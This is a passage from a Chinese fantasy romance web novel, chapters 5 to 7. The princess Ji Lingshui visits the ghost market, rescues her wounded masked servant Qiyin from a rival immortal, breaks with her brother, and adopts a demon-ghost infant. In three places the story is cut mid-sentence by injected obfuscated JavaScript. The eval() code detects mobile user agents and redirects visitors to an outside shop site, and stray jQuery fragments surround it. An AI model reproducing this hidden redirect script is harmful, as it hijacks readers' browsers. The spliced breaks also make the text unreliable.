“公主还有新的说辞吗。” 姬灵水似乎有些羞恼,蓦地抬手,屺阴认命闭眼,想象中的巴掌并未落下,反而是银面的下边缘处略微有些湿濡的痒意。 屺阴猛地睁眼,意识到姬灵水的唇正印在他的银面处,她脸上的细小绒毛清晰可见,白皙里晕着淡淡的粉红。 一缕银蓝的发丝随风拂到他的喉间。 鼻息间能嗅到少女的芳馨。 屺阴即刻往后一退,出掌将她推出十步远。 姬灵水堪堪倒在床榻边,幽怨又愤恨地望向殿中的屺阴,发丝从银蓝褪至乌黑。 从未有过的挫败。 “你就这么恨我?”姬灵水诘问他。 这边屺阴心神犹未定,目光钉在地底,良久才道:“属下不知公主的意思,若无要事,先行告退。” “不准走。”姬灵水起身,走近他,手刚伸出便被他猝然一握,他力道不小,似乎是真在防她。 她哼笑:“你的牵脉引在我手中,我如今才是你的主君,我要你做什么你就得做什么。” 屺阴松开她手:“除了此事。” “若我非要呢?” 姬灵水迎着他的目光。 屺阴:“那属下确实会恨公主。” 姬灵水咬住下唇思索道:“你有心上人了?在为谁守身?” 屺阴不言。 “不说就是没有。”姬灵水径直攀上他脖颈,正要对着他脖间咬下,忽听屺阴说了句“有”。 姬灵水动作一滞。 做出这事儿她本就够羞耻的,若人家已有意中人她还要强取,那还算个人吗? 她收回手,颇没有滋味地叫他滚。 屺阴这次真的滚得很快。 姬灵水仰天,觉得要不还是把他炼了吧? · 上次之后,屺阴似乎一直躲着她,以前还能见他那张臭脸,如今面也难见上几分。 姬灵水百无聊赖地翻看书册,一边研习桑桑教她的小术法。 不多时,一只矮小的妖鬼拖着水桶进了殿,脚步踢踏,磨耳极了。姬灵水抬眼看他,是上次那三个里长得最骇人的一只,他面上的血肉外翻,黑焦焦黏糊糊。 她立马垂下眼,不再看他:“屺阴不在房中,他去哪了?” 阿黄混浊的眼珠转啊转,“禀告主君,屺阴大人昨夜回了蓬於仙洲,应当是烬水君传唤。” 殿内安静了一瞬,桑桑看出姬灵水不高兴,又劝她几句:“到底是跟在烬水君的身边更久,所以舍不得,而桑桑原本是蓬於的人,因为跟主君的时间更久,所以也舍不得您。” 姬灵水去感受牵脉引。 不是说中契的人一旦背主就会受到惩罚么,现下怎么不灵验了? 不对…… “他不在蓬於那个方位。”姬灵水迫使自己直视阿黄的脸,“你骗我?” 阿黄连忙伏下身子,讨好道:“主君息怒,小人不敢。只是昨夜屺阴大人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“笨!” 姬灵水爬上床榻,从最里边抱出珠宝箱子,“灵石算什么,我们马上就要有许多了。” “你没听到他说鬼域乱成一团了吗?我把这些东西拿去鬼市换灵石。” 仙界的珠宝首饰并非普通之物,自也是灵气充沛,用在鬼域人身上,治点什么小伤小病、增强体魄是大有裨益。 内含的灵气与表溢的仙气不同,对六界来说是好东西,用在鬼域人身上就变成鬼气,用在仙界人身上就变成仙气,妖界则是化为妖气。 “可鬼域乱作一团不就更危险了吗?万一他们吸食我们的灵气怎么办?”桑桑忙道,“虽说鬼界表面敬畏仙界,可就我们两人,到时只怕任人宰割。” “这就是屺阴的用处了,锁扣很好找的,等他找完东西,我让他陪我去鬼市一趟,不会出事。”姬灵水换了身殷红色的长裙,把乌发盘在头顶,整个人干净利落,“你就在这儿守着仙洲,免得屺阴一人护不过我们两个来。” 桑桑急得还要说话,只见姬灵水动了牵脉引,一团黑红雾气霎那间直接将她引走了。 早知道就不让主君学牵脉引的一百零八种使用方法了! 5. 救他 鬼域潮湿阴冷,是为极夜之地,入目满是黑森铁锈,现下域门大开,诡风阵阵。 时而有鬼兵神色匆忙,进进出出,无人分神打量门口突然出现的红衣少女。 姬灵水紧了紧怀中的珠宝箱,低着头进了域门。 按说牵脉引引她过来,那屺阴应当就在她毫厘之内,可不知为何也寻不见他身影。 好在鬼域大多数人应已躲了起来,道上偶有零星几个人,皆是自顾自赶路,也没工夫理她。 她藏在袖中的手微微一动,捏出一块蝴蝶样的冰晶,很快冰晶飞出袖子,不消片刻就传来了路线。 鬼市在鬼域的底层,再往下就是镇鬼池所在的最底层,闲人轻易是进不去的。 屺阴应该就在镇鬼池,她直接先去鬼市,到时候正好堵他。 把冰晶收回掌心,姬灵水飞快向鬼市行去。 越往底下走就越热闹起来,大多数鬼魅与人并无什么不同,甚至面容姣好,身姿清雅,也有并无实体的透色鬼魂,幽幽穿在人潮中。 这会儿打量起她的人多了起来,她早先便隐去了身上大半仙气,只是不带一丝鬼气出现在此有些罕见,几个胆子大的魂魄萦绕在她身侧,努力去吮吸辨认她的味道。 姬灵水屏气凝神,不去管它们,径直奔向鬼市。 鬼市与她想象中的模样大差不差,长长的鬼道两侧全是摊铺,摆着些奇怪新颖的玩意儿。这是六界中最大的交易场,鱼龙混杂的人不知凡几,她此时也就算不得太过扎眼。 许是战乱的缘故,很多商铺大门紧闭,就剩下些街边的小摊。 但对姬灵水来说,人也算很多了。 仙界地广人稀,多数仙人不喜结群而生,哪怕居住在同个仙洲内,也很少有这样聚众的时刻。 她踱步到一个老婆婆摊前。 身边缠着她的魂魄还在哼哼唧唧,姬灵水皱着眉,伸手去拍打它们。 老婆婆一见她,立即喜笑颜开,对她招呼:“小姑娘,来坐。” 姬灵水在她摊前坐下,扫了眼摊上的器物,都是些老旧的铜铁容器,没什么稀奇的,于是她把珠宝箱往老婆婆面前一放,对她道:“您要收些值钱的玩意么?这些东西灵气充沛,治病补身都很有用。” 老婆婆笑眯眯看了眼箱中的东西,咂嘴道:“确实都是好东西,可我没灵石跟你换。” 看那摊破旧的东西也能看出来,老婆婆比她还穷。 “好吧,我再问问别人。”姬灵水作势起身,被老婆婆拦了下来。 “你不看看我的?”老婆婆从中挑了个最旧的小灯盏,递给姬灵水叫她把玩。 姬灵水面上未露嫌弃之色接了过来,但只伸出两根手指把灯盏提起,随意看了两眼就要把东西还回去。 “确实是好东西,但我也没灵石跟你换。” 老婆婆却笑得神秘:“姑娘真不再看看么?这灯盏可是仿照上古神物蕴魂灯所制,它能感应到所有缺失记忆之人,并助其回魂,方才你过来的时候,它可是亮了。” 姬灵水心一沉。 “你是说,我缺失了记忆。” 老婆婆的笑意越来越深,唇角拉到了太阳穴:“是灯盏说的。” 此事她不是没有怀疑过,天书上说话本里的主角们个个拿她当炮灰工具,不是报仇就是要杀她的,可她前世竟然一点印象都没有。 难道是有人把她记忆抹去了? 可她要这些难过的记忆干什么?纯给自己找不痛快么! “多少灵石卖?”她问。 老婆婆伸出枯枝般的手指:“五颗。” 她撇嘴:“再好也就是个仿制物,说不准根本不灵呢?我到时候直接拿蕴魂灯看不就行了!正品都卖不到这个价。” 闻言老婆婆的笑意收敛下来,整张脸冒着黑雾,阴诡异常。 “你以为上古神器就那么好得?如今蕴魂灯就被供奉在仙界的万陵仙洲,你去拿啊。” · 没有人会对自己缺失的记忆不感到好奇,姬灵水拖着步子走在去镇鬼池的路上。 她摇晃着空荡荡的荷包,又掂了掂轻了不少的珠宝箱,最后目光停留在灯盏中心燃烧的火苗上。 她想办法试了很久,脑子里的确多了些模模糊糊的片段,用老婆婆的话来说,她这是回了一缕魂。 灵力越纯粹、灵气越强的人回的魂越多,能想起来的记忆也就更多。 也就是说,凭她如今的灵力,她能想起来的记忆全都是模糊版的,甚至有些直接被泼了把墨似的。什么都看不清! 她这不会是被骗了吧? 等她跑回去找老婆婆的时候,连人带摊早就消失地无影无踪了。 姬灵水垂头沉浸在被骗的忧伤里,额头猛然撞上一块冰冷的墙。 “你怎么才出现,我找你好久了!”姬灵水杏眸怒睁,又似从前那般心情一不好便想向他发泄,“帮我拿箱子,重死了。” 屺阴顺从地接过她手中的物件,压着声音道:“公主为何会来此?” 姬灵水这才看见他面上又有斑驳的血痕伤口,眼底乌青,看着疲惫得极。 屺阴自然捕捉到了她眸色变化,嘴角嘲弄一勾,探手就要净面,姬灵水这回倒制止下来,顺手扳下他抬起的手腕,激动道: “我被鬼市的人骗了三颗灵石和两条海珠项链,那人跑了,你去帮我要回来。” “公主来之前就应知道,鬼市的人从不讲信用,甚至有些摊位专为坑蒙一人而设,骗到手后远走高飞,遍寻六界也寻不到。”屺阴挣开她束缚,环着箱子朝石阶下走,“属下还有要事,分身乏术,请公主自行回去,否则有所闪失,属下不能担责。” 姬灵水迈步跟上去,“你来鬼域这么久了,还没找到锁扣吗?” 前头的屺阴蓦地停下脚步,姬灵水绕过他身子往前看,原是一些鬼魅堵在前头,挑衅的目光凝在屺阴身上。 这下姬灵水懂了。 方才她轻轻松松下了十层无人阻拦,但屺阴就不一样了。他身上的妖鬼气息太过浓郁,遮掩不掉,这是鬼界和妖界都极度厌恶的存在。 有时候她觉得她兄长姬烬水是个很怪的人。 例如分明仙洲不缺人才,他却硬要屺阴只身来鬼界寻锁扣,看到屺阴被族类排斥唾弃或许能满足他一些隐秘的趣味,毕竟他的口味一向特殊,最爱追求刺激。 姬灵水觉得自己只是任性刁蛮了一些,远没有他那般变态。 她从屺阴身后走出来,光明正大对他们道:“他是仙界派来拿镇鬼锁扣的,你们鬼君犯了事,最好将功补过,不要一错再错。” 说罢,她扯过屺阴的袖口,拉着人要继续往前走。 那堆鬼魅里突然有人出声:“仙气!” “她身上有仙气!” “上等的仙气~”一缕魂魄飘至她面前,贪婪地嗅闻她身上的味道。 “一个仙子和一个妖鬼,哈哈哈哈。” 人群很快躁动起来,流连在姬灵水身上的目光令她感到无比不适与恶心,她去看屺阴的神色,他倒是淡定得很,仿佛那些人只骂了她一个人似的。 有个鬼魅对着屺阴努嘴,十分好奇地问他:“你怎么勾引这位小仙子的?你们妖鬼是不是都这么下贱啊……” 下贱、卑劣、肮脏……这些都是从前她脱口而出的言辞。 姬灵水莫名有些生气,尽管屺阴依旧面色不变,稳如泰山。 她忍不住用冰晶捏成一团冰球,向说话那人头顶砸去。 “丑鬼!本仙子最讨厌丑东西!” 鬼魅吃痛叫了一声,旋即骂道:“说他没说你是吗?维护野种,你也一样下贱!” 说着向两人冲过来。 姬灵水立即愤愤扯了屺阴的袖子,让他回神:“还不带我跑!” 下一息,腰间被人轻轻揽过,天旋地转间,眼前已换了番景象,遍是滚烫流动的岩浆。 “这是镇鬼池。”屺阴解释。 姬灵水盯着他的银面,面带讥讽:“平日不是跟我横吗?他们骂你你倒是忍了。” 屺阴睫羽微动,却不发一语。 见他哑巴了似的,姬灵水夺过自己的珠宝箱,向镇鬼池深处探去。 良久才听见背后屺阴说了句:“没有横过。” 姬灵水懒得跟他扯。 “快找锁扣,找完锁扣去鬼市给我换灵石,这回一定不能被骗了。” 姬灵水抱着箱子找了个台阶坐下,她倒是也没有那么好的善心帮他一起找,刚刚扔冰球的时候就废了她好大的力气。 强身健体练习功法这辈子都不可能实现了,她最大的希望还是在屺阴身上,谁让她就是好吃懒做的命呢! 屺阴立在池边,从身后抽出一柄长剑,很快长剑凝成一股黑红交错的气流向池下探去。 不过须臾,那气流腾然而上,竟反冲至屺阴面门,饶是他站得极稳,右脚还是被攻后一步。 他捂住胸口,黑色的血从他唇角溢出。 姬灵水霍然站起身来,问他:“怎么了?” “灵阵锁扣就在池中,不过池里有阵,”他目光沉下去,“为妖鬼设的阵。” 方才一进鬼域大门他就掉入了防止妖鬼进入的阵中,一连数层遇到了不少阻碍。 “早该想到镇鬼池里应当也镇过妖鬼。”他眸色坚定,再次集结剑气,往池下猛冲。 这不是自残么。 果真剑气再次反冲,这回屺阴后退了两步,雪白的肌肤上现出细密的伤口。 他再度运气。 姬灵水张嘴想说点什么,却又没说出口,她又拦不了他自己作死。 况且他轻易死不了,他现在死了,话本后面写什么? 还是保好自己的小命重要。 待这回剑气又反冲时,屺阴以血画阵,幻化出一张巨大的网阵往池中罩去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585761|205251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 姬灵水站在池边,瞠目结舌。 屺阴竟然试了三次就能硬破鬼君布下的阵心。 霎那间,流光四溢,红黑伴着金色的光气喷薄而出,缓缓顶出灵阵锁扣。 一个通体金色的锁件。 屺阴正要伸手去接,“等等!”姬灵水蓦地向光气中心甩出一条冰晶,屺阴凝眸不解,却忽听一声婴儿啼哭,蓝色冰晶竟从流光中勾出一个襁褓! 姬灵水把婴儿抱在怀中。 方才她就嗅到了活物的气息。 没想到是个这么小的崽子。 屺阴收回剑气,拿下灵阵锁扣,朝姬灵水走来。 “这是个妖鬼。” 姬灵水伸手去碰他粉嘟嘟的面颊,觉得甚是新奇:“还有长得这么好看的妖鬼吗?它跟你一样白诶,但它怎么不哭了,是不是缺灵气?你来看看。” 她说着抬头去看屺阴,只见他面色惨白,竟是一点生气都没有,还是强撑着告诉姬灵水:“它命数尽了,放下罢。” 她怎么觉得他才像命数尽了的模样。 姬灵水凝眉,一手抱着婴儿,一手准备去支撑下他摇摇欲坠的身子,可下一瞬,屺阴竟整个人向她倒下来,她惊呼一声,倾身让屺阴倚在她肩头,两人紧紧相依坐伏在地,姬灵水旋即瞥见了面前的忽然冒出的一团白色仙雾。 “好久不见,灵水君。”温润的嗓音响起。 鱼扶鹤礼貌与她致意,眼神扫到屺阴身上,灵阵锁扣便随着他的目光落到他的掌心。 “多谢你们的付出。” 姬灵水半个肩膀都冰透了,耳边传来屺阴微弱的唤声,他用力支起自己身体与姬灵水拉开,嗓音沙哑低沉:“拿回来。” 她这才看了眼他的背后,他后颈处有道小小的白色银纹,不像是方才被阵所伤。 姬灵水盯着鱼扶鹤:“扶鹤君想坐享其成也不必伤人性命吧?” 鱼扶鹤垂眸轻笑,似有些不好意思,“抱歉,若有需要,我可带他回万陵疗伤。” 姬灵水闻言将屺阴一揽,牢牢箍在自己怀中,神色警惕,迅速道:“不用了,我自己治。” 鱼扶鹤会这么好心?难不成这一世他先发现了屺阴的身份? 屺阴现在奄奄一息,正是炼化的好时机,她决不能前功尽弃,把肥肉拱手让与他人。 鱼扶鹤面上的银纹极快闪过,又猛地被压了下去。 他对她温和一笑:“好。” 屺阴气若游丝,但双眸中的坚毅未曾黯淡半分。 他艰难转过身,凝着半空中的鱼扶鹤,启唇念剑诀。 鱼扶鹤并不把他放在眼中,反而好言相劝:“省省力气。” 一道白光劈下,屺阴刚撑起的身子又半跪在地,再次吐出一口黑血。 “鱼扶鹤!”姬灵水抱着婴儿上前,整个人抵在屺阴后背处,“别再打了,锁扣你拿到了,没必要再伤害无辜之人,他只是给姬烬水办事的,有什么恩怨你找他解决就是。” 鱼扶鹤喉间一哽,面上银纹不断往外冲破撕扯,内里那个‘他’似乎极度不满眼前景象,拼命叫嚣着要出来。 他努力压下那股不适,跟姬灵水告辞。 姬灵水连忙把屺阴的脸转过来,手止不住地颤抖,“喂,你不会真的要死了吧?” 屺阴牙关紧咬,唇角仍在流血,不论姬灵水怎么唤他都默不作声,好不容易说了句话还是:“休息会就好了……” 休息会儿就追过去抢回锁扣。 她伸手去探他灵力,却只感应到微弱一丝,姬灵水终是慌了神。 “你别死,你死了我怎么办!” 姬灵水咬牙,她又不会炼化精怪!到时候不还是便宜了别人吗。 屺阴目光涣散,微微愣怔。他死了她应当高兴才对。 姬灵水此人绝不会突发善心,现出此言不知是何缘故。 只见眼前的姬灵水似乎下了极大的决心,掰过他的下巴对他恶狠狠地说:“我从小到大都没有给人渡过灵气,你是第一个,今日若救活了你,你以后要千倍百倍给我还回来!” “……” “不用……”屺阴强撑着要起身,却被姬灵水按下去。 她闭上眼,嘴唇印上他的。 奇怪,他的唇竟还有些温热,不像他的肌肤那样冰冰凉。 姬灵水正沉心去运送体内灵气,忽听耳边轰隆一声,一红一白两道身影交缠打斗而来,赤色火龙盘游空中,引得镇鬼池里墙颤石落。 她余光瞥过去,撞进一道充满怒火的视线。 一簇火光猝然将她与屺阴的脸分开。 “废物。”姬烬水化为人形,冷脸看向屺阴,符纸往他那处一扔,顷刻间屺阴眼神恢复清明。 鱼扶鹤并不恋战,也不再夺锁扣,翩然而去。 姬灵水抱着婴孩瘫坐在原地,屺阴则屈膝主动请罪。 姬烬水目光在二人身上流连。 6. 收留 “玩够了吗?” 姬烬水绕过屺阴,眼神停在姬灵水身上,语气不轻不重,夹杂着一丝不易察觉的烦躁。 姬灵水紧了紧怀中的襁褓,轻轻摇头。 “我没有闹着玩。” “可以,什么时候想通了再来找我。”姬烬水背身过去,“你不喜欢万陵,还有嘉殷、神仑,随你挑选。” 姬灵水垂着头,闻言唇角微勾,自嘲道:“他们又许诺给你什么?永远拥护蓬於第一仙洲的地位?送你上古秘法?……还是说会好好待我?” 姬烬水凝眉,厉声道:“整个仙界无人会待你不好。” 姬灵水深吸一口气,“他们会杀掉我的。” 这个话本里的所有人都有可能会杀掉她的。 “你近日到底怎么了?”姬烬水回过身,逼近她,似乎想从她眸中看出被人操纵的痕迹。 他俯身按住她双肩,眼尾泛起赤色的光纹,不解地问:“谁会杀你?为何要杀你?” 她也想知道为何。 为何他从没考虑过她的感受? 偏偏她前世连看都没看出来,只当姬烬水是为了她好,就算因为兄妹的身份不能长久相伴,他也会苦心帮她寻世上最好的仙君,让她离了他也能永远如此幸福地生活下去。 恐怕他现在只当她是疯了。 她脚步后退一步,仍牢牢抱着那个没有气息的婴孩,捏着襁褓的指尖因太过用力而微微泛白。 “你最好永远都不知道曾对我做过什么,”姬灵水抬眸看他,没由来说了这么一句,“也最好祈祷我永远都想不起来。” 她如今几乎可以断定,她从小依赖、感情甚笃的兄长,在她前世那段缺失的记忆里,为她掉入无生之水也出了一份力。 姬烬水眼尾的赤纹愈加旺盛,眸中几乎要燃烧起火焰。 “灵儿,你在说什么?” 他做过什么?让她失望叛逆成这般模样? 是六百年前的事?可那并非他逼迫,他们早就心意相通,不分彼此,是为世上最紧密相连的人。 父君殒后,为守第一仙洲之位,他日夜殚精竭虑,也是她说愿意联姻替他分忧。 姬灵水负有倾绝美貌,仙界之人对她趋之若鹜,数百年来爱慕她的仙君数不胜数,他也从没生过限制她的念头,做到如此地步,也是错吗? 她究竟知不知道,她成亲,他才是最心痛的那个? “听不懂算了,”姬灵水神情恢复平静,“反正我已离开蓬於,从今以后不再是公主,也没有为蓬於联姻的义务。我是父君领回的,父君在世时我常侍奉左右,恩情也还清了,自此两不相欠。” “呵。” 姬烬水双目通红,似被她的话逗笑,两不相欠,怎会说得那么容易。 “两不相欠?你想都不要想,”他目光似淬了毒液,“我会等到你回来求我那日,届时再与你算。” 长袖一振,赤龙盘旋于空,走前他睨向面色苍白的屺阴,声音凉薄。 “既然你喜欢这个东西,就留给你了。” “本君倒想看看,一个天真,一个卑贱,是要搅动怎样的风云。” 姬灵水痴痴坐着,维持方才抱婴孩的动作一动不动。 久到她上方一道阴影罩下,她才惊觉面颊被浸湿,一滴清泪坠落到婴孩粉嫩的鼻尖。 “你走吧。”姬灵水吸吸鼻子,手胡乱抹了把脸,“他说得对,我太天真了,我连自己的命都保不住,跟着我只会活得更惨。” “……”屺阴的声音沙哑得像十天未进过水,“他把我给公主了。” 姬灵水哼笑:“你倒是还很听他的话。” “其实这事儿也有解决之法,”姬灵水抱着婴孩,攀上屺阴的手臂借力起身,嘴唇一动就说出惊天之语,“只要我们双修,就能——” “诶——你干什么!” 屺阴方才猛地一撤手,险些让姬灵水把手上的襁褓颠出去。 “它已经没气了。”屺阴神色晦暗。 姬灵水叹了口气。 她如何还有闲心去拯救别人呢? 她弯下身,预备将婴孩放于石板上,手还未松,忽闻清浅的一声低笑。 姬灵水忙去看屺阴,只见屺阴满面怨气,她又看回手上的襁褓中,惊喜道:“是它在笑,它活了!” 婴儿正缓缓睁开双眸,淡蓝色的眸光一闪而过,视线随即凝在姬灵水的面上,嘴唇微张,边吐泡泡边轻轻笑起来。 屺阴走近看它,眸色渐深,半晌才道:“它喜欢你。” “真的?”姬灵水蹩脚地动作起来,又拍拍它,又逗逗它,“它好漂亮,我也喜欢。” 婴儿像听得懂话似的,咯咯咯回应姬灵水。 姬灵水心都要化了。 她可不会自己孕育一个孩子,但若是捡个现成的,那就很妙了。 “屺阴,我们一起养这个小妖鬼吧。” 姬灵水的悲伤来得快去得也快,方才满脸的阴霾已悉数褪去,取而代之的是眼中充满希冀的光芒。 “我、们?”屺阴偏过头,手背拭去唇角的黑血,轻嗤一声,“公主不要再说笑了。” “再者,妖鬼与凡人不同,你所见它如今是婴孩模样,说不定内里的魂早已活了数百年,根本不需要人养。” 他又像想到了什么,嘲弄道:“如果公主是缺消遣的玩意儿,一个还不够吗?非要再多折磨他人?” 她就算再变态也不会折磨欺负小孩子好不好! 姬灵水脸上一阵红一阵白,狠狠剜他一眼:“那也比将他留在鬼界被排挤好!” 她抱着婴儿迈步就走,忽然顿下步子回头又甩了句:“你供我消遣了吗?等什么时候我真消遣了你,你再说自己是玩意儿吧!” “拿着我的箱子走,还要去鬼市换灵石给小妖鬼买吃食。” 屺阴耳尖有些发热。 他不知晓最近为何姬灵水总是谈及……那样的事,她向来高高在上,不屑与污泥为伍,或许这又是她新想的整人的法子,想捉弄他来取得快意。 思及此,他眸底划过一丝稍纵即逝的厌恶。 不会折磨那个妖鬼么?他不信。 姬灵水说的任何一个字他都不会信。 · 上仙洲。 几人将小婴儿围得紧紧的,婴儿努力睁大眼睛去辨别这些人,不知不觉流露出些许迷茫的神情,直到姬灵水那张姣艳的脸蛋进入视线,它才安下心来欢欣拍手嬉笑。 姬灵水忙把它搂回怀里,特别将它与阿黄拉远了些,都说小孩子要见着漂亮的脸才会长得漂亮。 阿绿和阿黑虽然长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585762|205251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得也不好,但不像阿黄这么邋遢又吓人。 桑桑自不必说,也是美人一位。 屺阴戴着面具不在议论之列,可他的身形却是极好极美的,小宝宝也能看看。 桑桑数完荷包里沉重的灵石,连带着看那个白捡的孩子都顺眼了些。也不知道是不是蓬於仙洲的风水使然,大家似乎都很喜欢捡人,老主君捡了小公主,主君和公主捡了屺阴,公主现下又捡了个小妖鬼。 她对这孩子没什么兴趣,也知晓姬灵水就是格外喜欢生得好看的人事物罢了,便也不再多想,还问姬灵水给它起名了没有。 姬灵水摸摸下巴,仔细思索,“也不知道它是女妖鬼还是男妖鬼,屺阴说要再长大一些才能知晓——在鬼域的时候我看到它眼睛变蓝了,与我本体一样,如此有缘,不如就叫小蓝?姬小蓝?” 阿绿立刻抗议:“主君都不许我们姓姬,凭什么这小东西能?” 阿黑幽幽道:“你比它丑。” “你很美吗?” 两人很快互相敲打起来。 阿黄则是适时上前,贴心给姬灵水汇报:“主君,您要的羊乳我都买回来了,还有些汤粥,小蓝应该能喝。” 桑桑去接东西,阿黄又道:“回来的路上听说那恶鬼的八魂都被镇回去了,还有两魂不知游离何处,烬水君正为此事向天界请罪。” “还有一事,万陵仙洲的扶鹤君已处理完了人间作恶的魂魄,把人界翻了个底朝天也没找见折落的四太子,据说最有可能是降于仙、妖、鬼三界了。若是在仙界还好,妖鬼二界鱼龙混杂,保不齐四太子会受什么磋磨。” “依小人看,若主君想将上仙洲发扬光大,可先行去寻那四太子,只要找到了四太子,莫说入仙籍,就是仰慕而来的弟子定也是络绎不绝,我们上仙洲定会蒸蒸日上。” 姬灵水小心翼翼将最后一勺羊乳喂入小蓝口中,又满意地轻轻在它颊上点水一吻。 “你能想到,姬烬水跟鱼扶鹤定然更能想到了。我们得比他们更快才行。” 忽然,小蓝在空中挥舞的拳头握住了姬灵水的一根手指,又以迅雷不及掩耳之势把她手指往嘴里一放,重重咬下。 姬灵水呀了一声,又不忍心苛责,只得佯怒瞪它。 “对了,屺阴呢?” 桑桑随口道:“之前送主君回来后就走了,可能又回蓬於求烬水君收留了罢?” 她撇撇嘴,抱怨道:“如今六界正乱,分明是最需要他的时候,他却一点情分不讲,说走就走,连牵脉引也不放在眼里。” 姬灵水眸子黯淡几分,思忖片刻,问桑桑:“你知道屺阴有喜欢的人么?” “他?”桑桑摇头,“我与他不熟,也从未见过他与哪位仙子往来,在蓬於时他便一向独来独往,去过最多的地方不是主殿就是……” 就是姬灵水的拾萤殿。 还是因为那段时日姬灵水不满姬烬水整日忙于事务冷落她,她才将气全撒在时刻在他左右的屺阴身上。 多次传唤他过去没事找事。 “那……难道他喜欢你?”姬灵水突然出声。 桑桑惊了一跳:“怎么可能!我可是与公主一起欺负他的,若他不是脑子有病,怎么会喜欢欺凌自己的人呢?” 姬灵水心一沉。 那还会是谁? 7. 小蓝 深夜,上仙洲“拾萤殿”内。 姬灵水侧躺于榻上,双眸轻阖,臂弯中的婴孩仍睁着葡萄般晶亮的大眼睛,吭哧将拳头往嘴里放,见姬灵水素白的面容沉静下去似是熟睡后,它神色收敛,忽而一缕蓝色的魂线自它体内游出。 幻化出的一只纤手,指尖轻点在姬灵水的鼻尖,唇珠,耳廓,一点一点描摹出她的轮廓。 外间忽有轻响。 指尖一顿,魂魄骤然归于躯体内。 只见一团黑雾似的东西在殿中的桌案边停留了一会儿,随后脚步声愈来愈近,姬小蓝赶紧闭上眼。 下一瞬却觉身体蓦然腾空! 他慌忙睁开眸子,冷不丁瞥到半张银面。 屺阴下颚紧绷,眉头轻锁,死死凝着托起姬小蓝的那团黑雾,唇角未张,可姬小蓝却清晰听到了他的声音。 “她给你喂了什么?” 姬小蓝一怔,正要装听不懂,又听屺阴说:“千年的精怪,躲在一具小儿体内?是以为找到靠山了么。” 说着屺阴视线向下扫去,榻上的姬灵水睡得很沉,蓝色的纱衣堪堪挂在肩头,白皙肌肤若隐若现。 姬小蓝顺着他目光看过去,忍不住又幻出一只手伸下去,把姬灵水的纱衣往上提,直到将她裹得严严实实。 “下流。”姬小蓝眯眼乜他,忍不住出声。 少年的声线轻而细腻,裹了蜜糖一般。 “你也不遑多让。”屺阴不欲同他争辩,只道,“看在同类的份上,我只提醒你一次,此处不宜久留,趁她还未对你腻烦,早觅它处。” 两声婴孩咯笑在他耳畔响起。 姬小蓝道:“姐姐对我很好,我为何要走?” 姐姐? 屺阴轻嗤:“若你想被喂下牵脉引,想尽失尊严与自由,可以不走。” “你的牵脉引又不是她下的,”姬小蓝的魂魄彻底出体,幻化成一清俊少年模样,蓝发高高束成马尾落于身后,“你恨错人了吧?为何就不想想是不是你哪里做错了才惹得她不高兴呢?” 他身姿矫健利落,已游走到屺阴身侧,本来神色倨傲,看向屺阴时却佯装面露天真:“她只会喂我羊乳,喂我粥饭,喂我灵药,她只会因我未眠也强撑着不睡,把我紧紧搂在怀中,香气只让我独享。” “怎么,你都没体会过?” 银面下的面容如何扭曲他不去思索,又继续道:“你怎不去提醒阿黄他们?偏偏对我一个手无缚鸡之力的婴孩下手?还是你觉得我威胁到你的地位了?” 地位?他倒想姬灵水自此将所有施加于他身上的刁难悉数送予姬小蓝。 “随你。”屺阴声线淡淡,“只要日后不后悔就好。” 是他思虑过多了,早前便为他担忧,如今看来多此一举,他自身显然对此甘之如饴。 或许如今的姬灵水将劣性藏得很好,不会让人轻易发觉。 也或许……姬灵水只对他恶劣而已。 他收了黑雾,婴孩身躯随之落入床榻。 屺阴转身欲走,忽听背后少年又懒洋洋道:“姐姐白日说了,不许你到处乱跑,别忘了你的牵脉引如今在谁手中。” 他加快脚步出了殿门。 · 昨夜睡得很香,今晨醒来姬灵水只觉神清气爽,看向姬小蓝的神色都更柔和了。 姬小蓝欢快地将手臂从襁褓中伸出来,好像跟姬灵水炫耀自己又长大了一些。 姬灵水也懂了它的意思,惊喜地喊起来:“原来孩子这么好带,喂喂饭就长这么快,好像脸也张开了一些,真俊。” 正端水进来的桑桑无奈道:“妖鬼都长得快,阿黄说过不了半月,小蓝就会走路了。” “太好了,到时要是个小女孩就更好了,小蓝就一直跟姐姐睡好不好?姐姐的衣服首饰都送给你。”姬灵水抱着小蓝到桌案边坐下,不知怎么,手指又被捏在小蓝掌心,再次重重咬了一口。 “你真的好不乖!”姬灵水拍打了下它的手,目光骤然停在桌案上。 其上静静躺着三颗灵石,不远处海珠的光芒纯粹闪亮。 是她的海珠项链!两条! 姬灵水喜出望外,连忙拿起项链,“是谁拿回来的?” “什么拿回来,这不是您自己放的?”桑桑愣了愣,“昨夜屺阴回来了,可能是他?” “他回来了?在哪?”姬灵水没想到屺阴还会回来。原本以为姬烬水把他丢给她,他会悲痛欲绝许久。 更没想过他会去帮她找海珠。 他先前明明说找不回来的。 